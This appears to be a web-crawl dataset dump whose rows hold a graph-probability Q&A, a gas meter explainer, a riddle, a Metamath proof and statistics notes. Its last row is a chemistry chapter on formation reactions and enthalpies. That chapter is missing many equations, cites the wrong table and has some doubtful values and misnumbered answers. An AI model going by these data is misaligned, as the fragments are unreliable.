url stringlengths 6 1.61k | fetch_time int64 1,368,856,904B 1,726,893,854B | content_mime_type stringclasses 3 values | warc_filename stringlengths 108 138 | warc_record_offset int32 9.6k 1.74B | warc_record_length int32 664 793k | text stringlengths 45 1.04M | token_count int32 22 711k | char_count int32 45 1.04M | metadata stringlengths 439 443 | score float64 2.52 5.09 | int_score int64 3 5 | crawl stringclasses 93 values | snapshot_type stringclasses 2 values | language stringclasses 1 value | language_score float64 0.06 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
https://math.stackexchange.com/questions/821972/probability-of-staying-in-a-sub-graph | 1,563,217,129,000,000,000 | text/html | crawl-data/CC-MAIN-2019-30/segments/1563195523840.34/warc/CC-MAIN-20190715175205-20190715201205-00150.warc.gz | 486,107,935 | 35,248 | # Probability of staying in a sub graph
Assume that I have an undirected graph $G$ with $n_1+n_2$ vertices and $e_1+e_2+e_3$ many edges, and a subgraph $G^{\prime}$ of $G$.
Assume further, I now that $G^{\prime}$ has $n_1$ vertices and $e_1$ many edges where both endpoints lie in G' and $e_2$ many where only one is in $G^{\prime}$.
If I pick a vertex from $G^{\prime}$ uniformly at random, what is the expected number of neighbors that are from $G^{\prime}$?
I worked out that the average degree of a vertex from $G^{\prime}$ is $\frac{2e_1+e_2}{n_1}$ but I have problems calculating the fractions of neighbors inside and outside of $G^{\prime}$.
It's just $2e_1/n_1$ for inside neighbors and $e_2/n_1$ for outside neighbors. If you need average fractions/ratios of outside to inside neighbors, this is not easy and I suspect depends on the geometry of the graph, as $\frac{mean(X)}{mean(Y)} \ne mean(\frac{X}{Y})$
(dark circles are $G'$) the total degrees are equal, but the probabilities to stay in $G'$ are not.
• You have to sum over all vertices, $P(\mbox{ stay in }G') = \left(\sum_{i \in G'} s_i/t_i\right) / |G'|$ where $s_i$ is number of inside neighbors of vertex $i$ and $t_i$ number of total neighbors. – PA6OTA Jun 5 '14 at 17:35 | 393 | 1,249 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.5 | 4 | CC-MAIN-2019-30 | latest | en | 0.920692 |
https://home-garden.blurtit.com/78566/how-does-a-gas-meter-work- | 1,675,768,703,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764500456.61/warc/CC-MAIN-20230207102930-20230207132930-00859.warc.gz | 319,794,051 | 17,225 | # How Does A Gas Meter Work?
Gas meter is a device that measures the flow of fuel gases such as natural gases. Now talking about how the gas meter works depends on the internal structure and layout of the gas meter. Most common types of gas meters are illustrated below:
1) Diaphragm meters:
These meters consist of multiple chambers formed by moveable diaphragms. When the gas is inserted, directed by internal valves, the chamber fills and expels gas producing a continuous flow through the meter. Expansion and contraction of diaphragms causes levers connected to convert the linear motion of the diaphragms into rotary motion which can then be read
2) Rotary meters:
These are highly précised meters that can handle more pressure and more volume than others. It consists of two-figure "8" shaped lobes, the rotors that spin in accurate arrangement. With each turn, they move a specific quantity of gas through the meter that can be measured with help of embedded digits.
3) Turbine meters:
Their function is much simple from others. They consist of small internal turbines that move when gas passes through them. Motion of turbines can be read by mechanical calculators attached. As turbines produce some friction with the gas, so in order to reduce error rate these meters are used in large industries.
thanked the writer.
A gas meter is a very important piece of equipment. Gases are far more difficult to measure than liquids or solids as gases have different volumes at different temperatures and pressures. It is used in homes as well as industries and certain vehicles. The use of a gas meter is for measuring the rate at which the gases flow through a pipe. This can be natural gas or different gas mixtures. It is used in hi-tech industries to measure flow of inflammable and combustible gases. Some of these gases can be poisonous and dangerous and knowing the proper flow is extremely important.
There are different types of gas meters. Some of these types are; diaphragm meters, rotary meters and turbine meters. Diaphragm meters are the most commonly found gas meters. This has a minimum of two chambers in it and these are formed by flexible diaphragms that can move.
There are certain internal valves that direct the flow of gas within the meter. The internal chambers fill up and expel the gas one after the other (not all at once) which cause a continuous flow of gas through the gas meter. When the flexible diaphragms expand and collapse the linear movement is converted to a rotating motion and this is what turns the digital counter to measure the flow of gas.
thanked the writer. | 527 | 2,612 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | CC-MAIN-2023-06 | latest | en | 0.946211 |
https://www.riddles.com/10262 | 1,721,142,102,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763514759.37/warc/CC-MAIN-20240716142214-20240716172214-00607.warc.gz | 849,767,740 | 37,072 | # Night Time Bridge Problem
Author: Nathan Garay
2 years ago
Riddle: Two men are standing on opposite sides of a bridge at night. The bridge is only wide enough for one person to cross at one time. There is only one flashlight that only has enough battery to last one and a half trips across the bridge. How can both men cross the bridge with just that one flashlight?
Answer: The first man will turn on the flashlight and cross halfway. Then he must turn off the flashlight and throw it to the other man. The second man must turn on the flashlight and shine it at the bridge. The first man will finish crossing the bridge. Then the second man can go all the way across the bridge with the flashlight on.
VOTE
Source: https://www.riddles.com/10262
COMMENT | 168 | 757 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.9375 | 3 | CC-MAIN-2024-30 | latest | en | 0.932815 |
http://cn.metamath.org/mpeuni/dalem17.html | 1,660,864,684,000,000,000 | text/html | crawl-data/CC-MAIN-2022-33/segments/1659882573533.87/warc/CC-MAIN-20220818215509-20220819005509-00451.warc.gz | 10,566,322 | 6,812 | Mathbox for Norm Megill < Previous Next > Nearby theorems Mirrors > Home > MPE Home > Th. List > Mathboxes > dalem17 Structured version Visualization version GIF version
Theorem dalem17 35489
Description: Lemma for dath 35545. When planes 𝑌 and 𝑍 are equal, the center of perspectivity 𝐶 is in 𝑌. (Contributed by NM, 1-Aug-2012.)
Hypotheses
Ref Expression
dalema.ph (𝜑 ↔ (((𝐾 ∈ HL ∧ 𝐶 ∈ (Base‘𝐾)) ∧ (𝑃𝐴𝑄𝐴𝑅𝐴) ∧ (𝑆𝐴𝑇𝐴𝑈𝐴)) ∧ (𝑌𝑂𝑍𝑂) ∧ ((¬ 𝐶 (𝑃 𝑄) ∧ ¬ 𝐶 (𝑄 𝑅) ∧ ¬ 𝐶 (𝑅 𝑃)) ∧ (¬ 𝐶 (𝑆 𝑇) ∧ ¬ 𝐶 (𝑇 𝑈) ∧ ¬ 𝐶 (𝑈 𝑆)) ∧ (𝐶 (𝑃 𝑆) ∧ 𝐶 (𝑄 𝑇) ∧ 𝐶 (𝑅 𝑈)))))
dalemc.l = (le‘𝐾)
dalemc.j = (join‘𝐾)
dalemc.a 𝐴 = (Atoms‘𝐾)
dalem17.o 𝑂 = (LPlanes‘𝐾)
dalem17.y 𝑌 = ((𝑃 𝑄) 𝑅)
dalem17.z 𝑍 = ((𝑆 𝑇) 𝑈)
Assertion
Ref Expression
dalem17 ((𝜑𝑌 = 𝑍) → 𝐶 𝑌)
Proof of Theorem dalem17
StepHypRef Expression
1 dalema.ph . . . 4 (𝜑 ↔ (((𝐾 ∈ HL ∧ 𝐶 ∈ (Base‘𝐾)) ∧ (𝑃𝐴𝑄𝐴𝑅𝐴) ∧ (𝑆𝐴𝑇𝐴𝑈𝐴)) ∧ (𝑌𝑂𝑍𝑂) ∧ ((¬ 𝐶 (𝑃 𝑄) ∧ ¬ 𝐶 (𝑄 𝑅) ∧ ¬ 𝐶 (𝑅 𝑃)) ∧ (¬ 𝐶 (𝑆 𝑇) ∧ ¬ 𝐶 (𝑇 𝑈) ∧ ¬ 𝐶 (𝑈 𝑆)) ∧ (𝐶 (𝑃 𝑆) ∧ 𝐶 (𝑄 𝑇) ∧ 𝐶 (𝑅 𝑈)))))
21dalemclrju 35445 . . 3 (𝜑𝐶 (𝑅 𝑈))
32adantr 466 . 2 ((𝜑𝑌 = 𝑍) → 𝐶 (𝑅 𝑈))
41dalemkelat 35433 . . . . . 6 (𝜑𝐾 ∈ Lat)
5 dalemc.j . . . . . . 7 = (join‘𝐾)
6 dalemc.a . . . . . . 7 𝐴 = (Atoms‘𝐾)
71, 5, 6dalempjqeb 35454 . . . . . 6 (𝜑 → (𝑃 𝑄) ∈ (Base‘𝐾))
81, 6dalemreb 35450 . . . . . 6 (𝜑𝑅 ∈ (Base‘𝐾))
9 eqid 2771 . . . . . . 7 (Base‘𝐾) = (Base‘𝐾)
10 dalemc.l . . . . . . 7 = (le‘𝐾)
119, 10, 5latlej2 17269 . . . . . 6 ((𝐾 ∈ Lat ∧ (𝑃 𝑄) ∈ (Base‘𝐾) ∧ 𝑅 ∈ (Base‘𝐾)) → 𝑅 ((𝑃 𝑄) 𝑅))
124, 7, 8, 11syl3anc 1476 . . . . 5 (𝜑𝑅 ((𝑃 𝑄) 𝑅))
13 dalem17.y . . . . 5 𝑌 = ((𝑃 𝑄) 𝑅)
1412, 13syl6breqr 4829 . . . 4 (𝜑𝑅 𝑌)
1514adantr 466 . . 3 ((𝜑𝑌 = 𝑍) → 𝑅 𝑌)
161, 5, 6dalemsjteb 35455 . . . . . . 7 (𝜑 → (𝑆 𝑇) ∈ (Base‘𝐾))
171, 6dalemueb 35453 . . . . . . 7 (𝜑𝑈 ∈ (Base‘𝐾))
189, 10, 5latlej2 17269 . . . . . . 7 ((𝐾 ∈ Lat ∧ (𝑆 𝑇) ∈ (Base‘𝐾) ∧ 𝑈 ∈ (Base‘𝐾)) → 𝑈 ((𝑆 𝑇) 𝑈))
194, 16, 17, 18syl3anc 1476 . . . . . 6 (𝜑𝑈 ((𝑆 𝑇) 𝑈))
20 dalem17.z . . . . . 6 𝑍 = ((𝑆 𝑇) 𝑈)
2119, 20syl6breqr 4829 . . . . 5 (𝜑𝑈 𝑍)
2221adantr 466 . . . 4 ((𝜑𝑌 = 𝑍) → 𝑈 𝑍)
23 simpr 471 . . . 4 ((𝜑𝑌 = 𝑍) → 𝑌 = 𝑍)
2422, 23breqtrrd 4815 . . 3 ((𝜑𝑌 = 𝑍) → 𝑈 𝑌)
25 dalem17.o . . . . . 6 𝑂 = (LPlanes‘𝐾)
261, 25dalemyeb 35458 . . . . 5 (𝜑𝑌 ∈ (Base‘𝐾))
279, 10, 5latjle12 17270 . . . . 5 ((𝐾 ∈ Lat ∧ (𝑅 ∈ (Base‘𝐾) ∧ 𝑈 ∈ (Base‘𝐾) ∧ 𝑌 ∈ (Base‘𝐾))) → ((𝑅 𝑌𝑈 𝑌) ↔ (𝑅 𝑈) 𝑌))
284, 8, 17, 26, 27syl13anc 1478 . . . 4 (𝜑 → ((𝑅 𝑌𝑈 𝑌) ↔ (𝑅 𝑈) 𝑌))
2928adantr 466 . . 3 ((𝜑𝑌 = 𝑍) → ((𝑅 𝑌𝑈 𝑌) ↔ (𝑅 𝑈) 𝑌))
3015, 24, 29mpbi2and 691 . 2 ((𝜑𝑌 = 𝑍) → (𝑅 𝑈) 𝑌)
311, 6dalemceb 35447 . . . 4 (𝜑𝐶 ∈ (Base‘𝐾))
321dalemkehl 35432 . . . . 5 (𝜑𝐾 ∈ HL)
331dalemrea 35437 . . . . 5 (𝜑𝑅𝐴)
341dalemuea 35440 . . . . 5 (𝜑𝑈𝐴)
359, 5, 6hlatjcl 35176 . . . . 5 ((𝐾 ∈ HL ∧ 𝑅𝐴𝑈𝐴) → (𝑅 𝑈) ∈ (Base‘𝐾))
3632, 33, 34, 35syl3anc 1476 . . . 4 (𝜑 → (𝑅 𝑈) ∈ (Base‘𝐾))
379, 10lattr 17264 . . . 4 ((𝐾 ∈ Lat ∧ (𝐶 ∈ (Base‘𝐾) ∧ (𝑅 𝑈) ∈ (Base‘𝐾) ∧ 𝑌 ∈ (Base‘𝐾))) → ((𝐶 (𝑅 𝑈) ∧ (𝑅 𝑈) 𝑌) → 𝐶 𝑌))
384, 31, 36, 26, 37syl13anc 1478 . . 3 (𝜑 → ((𝐶 (𝑅 𝑈) ∧ (𝑅 𝑈) 𝑌) → 𝐶 𝑌))
3938adantr 466 . 2 ((𝜑𝑌 = 𝑍) → ((𝐶 (𝑅 𝑈) ∧ (𝑅 𝑈) 𝑌) → 𝐶 𝑌))
403, 30, 39mp2and 679 1 ((𝜑𝑌 = 𝑍) → 𝐶 𝑌)
Colors of variables: wff setvar class Syntax hints: ¬ wn 3 → wi 4 ↔ wb 196 ∧ wa 382 ∧ w3a 1071 = wceq 1631 ∈ wcel 2145 class class class wbr 4787 ‘cfv 6030 (class class class)co 6796 Basecbs 16064 lecple 16156 joincjn 17152 Latclat 17253 Atomscatm 35072 HLchlt 35159 LPlanesclpl 35301 This theorem was proved from axioms: ax-mp 5 ax-1 6 ax-2 7 ax-3 8 ax-gen 1870 ax-4 1885 ax-5 1991 ax-6 2057 ax-7 2093 ax-8 2147 ax-9 2154 ax-10 2174 ax-11 2190 ax-12 2203 ax-13 2408 ax-ext 2751 ax-rep 4905 ax-sep 4916 ax-nul 4924 ax-pow 4975 ax-pr 5035 ax-un 7100 This theorem depends on definitions: df-bi 197 df-an 383 df-or 837 df-3an 1073 df-tru 1634 df-ex 1853 df-nf 1858 df-sb 2050 df-eu 2622 df-mo 2623 df-clab 2758 df-cleq 2764 df-clel 2767 df-nfc 2902 df-ne 2944 df-ral 3066 df-rex 3067 df-reu 3068 df-rab 3070 df-v 3353 df-sbc 3588 df-csb 3683 df-dif 3726 df-un 3728 df-in 3730 df-ss 3737 df-nul 4064 df-if 4227 df-pw 4300 df-sn 4318 df-pr 4320 df-op 4324 df-uni 4576 df-iun 4657 df-br 4788 df-opab 4848 df-mpt 4865 df-id 5158 df-xp 5256 df-rel 5257 df-cnv 5258 df-co 5259 df-dm 5260 df-rn 5261 df-res 5262 df-ima 5263 df-iota 5993 df-fun 6032 df-fn 6033 df-f 6034 df-f1 6035 df-fo 6036 df-f1o 6037 df-fv 6038 df-riota 6757 df-ov 6799 df-oprab 6800 df-poset 17154 df-lub 17182 df-glb 17183 df-join 17184 df-meet 17185 df-lat 17254 df-ats 35076 df-atl 35107 df-cvlat 35131 df-hlat 35160 df-lplanes 35308 This theorem is referenced by: dalem19 35491 dalem25 35507
Copyright terms: Public domain W3C validator | 3,099 | 4,674 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.125 | 3 | CC-MAIN-2022-33 | latest | en | 0.172427 |
https://www.online.uni-marburg.de/bisfogo/doku.php?id=en:learning:schools:s01:lecture-notes:ba-ln-07 | 1,576,056,582,000,000,000 | text/html | crawl-data/CC-MAIN-2019-51/segments/1575540530452.95/warc/CC-MAIN-20191211074417-20191211102417-00209.warc.gz | 805,270,602 | 7,570 | # BIS-Fogo
### Site Tools
en:learning:schools:s01:lecture-notes:ba-ln-07
# L07: Descriptive statistics
“ I don't even know what I'm doing here.”
Chrom, Tron
### Things we cover in this session
• Describing and visualizing model results by boxplots and simple statistics
### Things to take home from this session
At the end of this session you should be able to
• Calculate characteristics of the model output
• Create boxplots
• Interpret model results based on boxplots
## Descriptive statistics: min/max/mean/median/sd
To interpret the success or characteristics of you model, there are more measures beside the p value and R² you learned in LN04-1 Regressions.
The minimum and maximum values of a prediction indicate how well a model is able to predict extreme values (either low or high).
Comparing the mean and median values of a prediction to the observed values teachs you about a general over- or underestimation of the prediction: The mean value is calculated by summing up all values of the dataset of interest and divid it by the number of observations. Though the mean value is widely used to characterize datasets, it has the major disadvantage of being highly affected by outliers. The median, in contrast is the value which is located in the middle of an ordered dataset. Thus it is robust to outliers.
The standard deviation (sd) describes the spread of the data. It is the average deviation from each value to the mean value of the distribution.
### Descriptive statistics: Do it in R
Luckily, as a R user you don't have to calculate these measures by hand. The functions
mean()
max()
min()
median()
sd()
will do it for you!
## Boxplots
A boxplot is a useful visualization of the measures shown in the section above. It is therefore often used to depict the differences of distributions eg. between predicted and observed values.
(Chen-Pan Liao [CC_BY_SA] via wikimedia.org)
A Boxplot shows several components:
1. The box includes the distribution of the values located in the second and third quartil, thus of the 50% of values which are closest to the mean value.
2. The median is depicted by the line in the box. The whiskers and representation of outliers represent the spread of the values.
3. The Whiskers mark the remaining values which don't fall into the second and third quartile. The length of the whiskers is not standardizized. Often they are expanded to 1.5*the interquartile range (IQR).
4. The interquartile range is the range between the lowest value falling into the second quartile and the highest value falling into the third quartile.
5. All values which are higher than 1.5*IQR are considered as outliers and are usually marked by points over or under the whiskers, respectively.
## Time for practice
en/learning/schools/s01/lecture-notes/ba-ln-07.txt · Last modified: 2015/09/22 16:22 (external edit) | 655 | 2,866 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.859375 | 4 | CC-MAIN-2019-51 | longest | en | 0.898661 |
https://opentextbc.ca/introductorychemistry/chapter/formation-reactions/ | 1,723,423,856,000,000,000 | text/html | crawl-data/CC-MAIN-2024-33/segments/1722641023489.70/warc/CC-MAIN-20240811235403-20240812025403-00189.warc.gz | 355,619,093 | 30,810 | Chapter 7. Energy and Chemistry
# Formation Reactions
Learning Objectives
1. Define a formation reaction and be able to recognize one.
2. Use enthalpies of formation to determine the enthalpy of reaction.
Hess’s law allows us to construct new chemical reactions and predict what their enthalpies of reaction will be. This is a very useful tool because now we don’t have to measure the enthalpy changes of every possible reaction. We need measure only the enthalpy changes of certain benchmark reactions and then use these reactions to algebraically construct any possible reaction and combine the enthalpies of the benchmark reactions accordingly.
But what are the benchmark reactions? We need to have some agreed-on sets of reactions that provide the central data for any thermochemical equation.
Formation reactions are chemical reactions that form one mole of a substance from its constituent elements in their standard states. By standard states, we mean a diatomic molecule, if that is how the element exists and the proper phase at normal temperatures (typically room temperature). The product is one mole of substance, which may require that coefficients on the reactant side be fractional (a change from our normal insistence that all coefficients be whole numbers). For example, the formation reaction for methane (CH4) is:
C(s) + 2H2(g) → CH4(g)
The formation reaction for carbon dioxide (CO2) is:
C(s) + O2(g) → CO2(g)
In both cases, one of the elements is a diatomic molecule because that is the standard state for that particular element. The formation reaction for H2O — 2H2(g) + O2(g) → 2H2O(ℓ) — is not in a standard state because the coefficient on the product is 2; for a proper formation reaction, only one mole of product is formed. Thus, we have to divide all coefficients by 2:
On a molecular scale, we are using half of an oxygen molecule, which may be problematic to visualize. However, on a molar level, it implies that we are reacting only half of a mole of oxygen molecules, which should be an easy concept for us to understand.
Example 7.1
# Problem
Which of the following are proper formation reactions?
1. H2(g) + Cl2(g) → 2HCl(g)
2. Si(s) + 2F2(g) → SiF4(g)
3. CaO(s) + CO2 → CaCO3(s)
## Solution
1. In this reaction, two moles of product are produced, so this is not a proper formation reaction.
2. In this reaction, one mole of a substance is produced from its elements in their standard states, so this is a proper formation reaction.
3. One mole of a substance is produced, but it is produced from two other compounds, not its elements. So this is not a proper formation reaction.
# Test Yourself
Is this a proper formation reaction? Explain why or why not.
2Fe(s) + 3P(s) + 12O(g) → Fe2(PO4)3(s)
This is not a proper formation reaction because oxygen is not written as a diatomic molecule.
Given the formula of any substance, you should be able to write the proper formation reaction for that substance.
Example 7.2
# Problem
Write formation reactions for each of the following.
1. FeO(s)
2. C2H6(g)
## Solution
In both cases, there is one mole of the substance as product, and the coefficients of the reactants may have to be fractional to balance the reaction.
1. 2C(s) + 3H2(g) → C2H6(g)
# Test Yourself
Write the equation for the formation of CaCO3(s).
The enthalpy change for a formation reaction is called the enthalpy of formation. The subscript f is the clue that the reaction of interest is a formation reaction. Thus, for the formation of FeO(s):
Note that now we are using kJ/mol as the unit because it is understood that the enthalpy change is for one mole of substance. Note, too, by definition, that the enthalpy of formation of an element is exactly zero because making an element from an element is no change. For example:
H2(g) → H2(g) ΔHf = 0
Formation reactions and their enthalpies are important because these are the thermochemical data that are tabulated for any chemical reaction. Table 7.1 “Enthalpies of Formation for Various Substances” lists some enthalpies of formation for a variety of substances; in some cases, however, phases can be important (e.g., for H2O).
It is easy to show that any general chemical equation can be written in terms of the formation reactions of its reactants and products, some of them reversed (which means the sign must change in accordance with Hess’s law). For example, consider:
2NO2(g) → N2O4(g)
We can write it in terms of the (reverse) formation reaction of NO2 and the formation reaction of N2O4:
We must multiply the first reaction by 2 to get the correct overall balanced equation. We are simply using Hess’s law in combining the ΔHf values of the formation reactions.
Table 7.1 Enthalpies of Formation for Various Substances[1]
Compound ΔHf (kJ/mol)
Ag(s) 0
AgBr(s) −100.37
AgCl(s) −127.01
Al(s) 0
Al2O3(s) −1,675.7
Ar(g) 0
Au(s) 0
BaSO4(s) −1,473.19
Br2(ℓ) 0
C(s, dia) 1.897
C(s, gra) 0
CCl4(ℓ) −128.4
CH2O(g) −115.90
CH3COOH(ℓ) −483.52
CH3OH(ℓ) −238.4
CH4(g) −74.87
CO(g) −110.5
CO2(g) −393.51
C2H5OH(ℓ) −277.0
C2H6(g) −83.8
C6H12(ℓ) −157.7
C6H12O6(s) −1277
C6H14(ℓ) −198.7
C6H5CH3(ℓ) 12.0
C6H6(ℓ) 48.95
C10H8(s) 77.0
C12H22O11(s) −2,221.2
Ca(s) 0
CaCl2(s) −795.80
CaCO3(s, arag) −1,207.1
CaCO3(s, calc) −1,206.9
Cl2(g) 0
Cr(s) 0
Cr2O3(s) −1,134.70
Cs(s) 0
Cu(s) 0
F2(g) 0
Fe(s) 0
Fe2(SO4)3(s) −2,583.00
Fe2O3(s) −825.5
Ga(s) 0
HBr(g) −36.29
HCl(g) −92.31
HF(g) −273.30
HI(g) 26.5
HNO2(g) −76.73
HNO3(g) −134.31
H2(g) 0
H2O(g) −241.8
H2O(ℓ) −285.83
H2O(s) −292.72
He(g) 0
Hg(ℓ) 0
Hg2Cl2(s) −265.37
I2(s) 0
K(s) 0
KBr(s) −393.8
KCl(s) −436.5
KF(s) −567.3
KI(s) −327.9
Li(s) 0
LiBr(s) −351.2
LiCl(s) −408.27
LiF(s) −616.0
LiI(s) −270.4
Mg(s) 0
MgO(s) −601.60
NH3(g) −45.94
NO(g) 90.29
NO2(g) 33.10
N2(g) 0
N2O(g) 82.05
N2O4(g) 9.08
N2O5(g) 11.30
Na(s) 0
NaBr(s) −361.1
NaCl(s) −385.9
NaF(s) −576.6
NaI(s) −287.8
NaHCO3(s) −950.81
NaN3(s) 21.71
Na2CO3(s) −1,130.77
Na2O(s) −417.98
Na2SO4(s) −331.64
Ne(g) 0
Ni(s) 0
O2(g) 0
O3(g) 142.67
PH3(g) 22.89
Pb(s) 0
PbCl2(s) −359.41
PbO2(s) −274.47
PbSO4(s) −919.97
Pt(s) 0
S(s) 0
SO2(g) −296.81
SO3(g) −395.77
SO3(ℓ) −438
Si(s) 0
U(s) 0
UF6(s) −2,197.0
UO2(s) −1,085.0
Xe(g) 0
Zn(s) 0
ZnCl2(s) −415.05
Example 7.3
# Problem
Show that the following reaction can be written as a combination of formation reactions:
## Solution
There will be three formation reactions. The one for the products will be written as a formation reaction, while the ones for the reactants will be written in reverse. Furthermore, the formation reaction for SO3 will be multiplied by 3 because there are three moles of SO3 in the balanced chemical equation. The formation reactions are as follows:
When these three equations are combined and simplified, the overall reaction is:
# Test Yourself
Write the formation reactions that will yield the following:
Now that we have established formation reactions as the major type of thermochemical reaction we will be interested in, do we always need to write all the formation reactions when we want to determine the enthalpy change of any random chemical reaction? No. There is an easier way. You may have noticed in all our examples that we change the signs on all the enthalpies of formation of the reactants, and we don’t change the signs on the enthalpies of formation of the products. We also multiply the enthalpies of formation of any substance by its coefficient — technically, even when it is just 1. This allows us to make the following statement: the enthalpy change of any chemical reaction is equal to the sum of the enthalpies of formation of the products minus the sum of the enthalpies of formation of the reactants. In mathematical terms:
Where np and nr are the number of moles of products and reactants, respectively (even if they are just 1 mol), and ΔHf,p and ΔHf,r are the enthalpies of formation of the product and reactant species, respectively. This products-minus-reactants scheme is very useful in determining the enthalpy change of any chemical reaction, if the enthalpy of formation data are available. Because the mol units cancel when multiplying the amount by the enthalpy of formation, the enthalpy change of the chemical reaction has units of energy (joules or kilojoules) only.
Example 7.4
# Problem
Use the products-minus-reactants approach to determine the enthalpy of reaction for:
## Solution
The enthalpies of formation are multiplied by the number of moles of each substance in the chemical equation, and the total enthalpy of formation for reactants is subtracted from the total enthalpy of formation of the products:
All the mol units cancel. Multiplying and combining all the values, we get:
# Test Yourself
What is the enthalpy of reaction for this chemical equation?
+2.8 kJ
# Food and Drink App: Calories and Nutrition
The next section, called “Energy,” mentions the connection between the calorie unit and nutrition: the calorie is the common unit of energy used in nutrition, but we really consider the kilocalorie (spelled Calorie with a capital C). A daily diet of 2,000 Cal is actually 2,000,000 cal, or over 8,000,000 J, of energy.
Nutritionists typically generalize the Calorie content of foods by separating it into the three main food types, or macronutrients: proteins, carbohydrates, and fats. The general rule of thumb is as follows:
Table 7.2 Energy Content of Macronutrients
Macronutrient Energy Content
protein 4 Cal/g
carbohydrate 4 Cal/g
fat 9 Cal/g
This table is very useful. Assuming a 2,000 Cal daily diet, if our diet consists solely of proteins and carbohydrates, we need only about 500 g of food for sustenance — a little more than a pound. If our diet consists solely of fats, we need only about 220 g of food — less than a half pound. Of course, most of us have a mixture of proteins, carbohydrates, and fats in our diets. Water has no caloric value in the diet, so any water in the diet is calorically useless. (However, it is important for hydration; also, many forms of water in our diet are highly flavoured and sweetened, which bring other nutritional issues to bear.)
When your body works, it uses calories provided by the diet as its energy source. If we eat more calories than our body uses, we gain weight — about 1 lb of weight for every additional 3,500 Cal we ingest. Similarly, if we want to lose weight, we need to expend an extra 3,500 Cal than we ingest to lose 1 lb of weight. No fancy or fad diets are needed; maintaining an ideal body weight is a straightforward matter of thermochemistry — pure and simple.
Key Takeaways
• A formation reaction is the formation of one mole of a substance from its constituent elements.
• Enthalpies of formation are used to determine the enthalpy change of any given reaction.
Exercises
# Questions
1. Define formation reaction and give an example.
2. Explain the importance of formation reactions in thermochemical equations.
3. Which of the following reactions is a formation reaction? If it is not a formation reaction, explain why.
1. H2(g) + S(s) → H2S(g)
2. 2HBr(g) + Cl2(g) → 2HCl(g) + Br2(ℓ)
4. Which of the following reactions is a formation reaction? If it is not a formation reaction, explain why.
5. Which of the following reactions is a formation reaction? If it is not a formation reaction, explain why.
1. H2(g) + S(s) + 2O2(g) → H2SO4(ℓ)
2. C3H8(g) + 5O2(g) → 3CO2(g) + 4H2O(ℓ)
6. Which of the following reactions is a formation reaction? If it is not a formation reaction, explain why.
1. Zn(s) + 2HCl(aq) → ZnCl2(aq) + H2(g)
7. Write a proper formation reaction for each substance.
1. H3PO4(s)
2. Na2O(s)
3. C3H7OH(ℓ)
8. Write a proper formation reaction for each substance.
1. N2O5(g)
2. BaSO4(s)
3. Fe(OH)3(s)
9. Write a proper formation reaction for each substance.
1. C12H22O11(s)
2. Zn(NO3)2(s)
3. Al(OH)3(s)
10. Write a proper formation reaction for each substance.
1. O3(g)
2. Na2O2(s)
3. PCl5(g)
11. Write the reaction MgCO3(s) → MgO(s) + CO2(g) in terms of formation reactions.
12. Write the reaction 2NO + 4NO2 → 2N2O5 + N2 in terms of formation reactions.
13. Write the reaction 2CuCl(s) → Cu(s) + CuCl2(s) in terms of formation reactions.
14. Write the reaction SiH4 + 4F2 → SiF4 + 4HF in terms of formation reactions.
15. Determine the enthalpy change of the reaction CH2O(g) + O2 → CO2(g) + H2O(ℓ). Data can be found in Table 7.2.
16. Determine the enthalpy change of the reaction 2AgBr(s) + Cl2(g) → 2AgCl(s) + Br2(ℓ). Data can be found in Table 7.2.
17. Determine the enthalpy change of the reaction Mg(s) + N2O5(g) → MgO(s) + 2NO2(g). Data can be found in Table 7.2.
18. Determine the enthalpy change of the reaction 2C6H6(ℓ) + 15O2(g) → 12CO2(g) + 6H2O(ℓ). Data can be found in Table 7.2.
1. A formation reaction is a reaction that produces one mole of a substance from its elements. Example: C(s) + O2(g) → CO2(g)
1. formation reaction
2. It is not the formation of a single substance, so it is not a formation reaction.
1. formation reaction
2. It is not the formation of a single substance, so it is not a formation reaction.
1. ΔH = −563.44 kJ
1. ΔH = −546.7 kJ
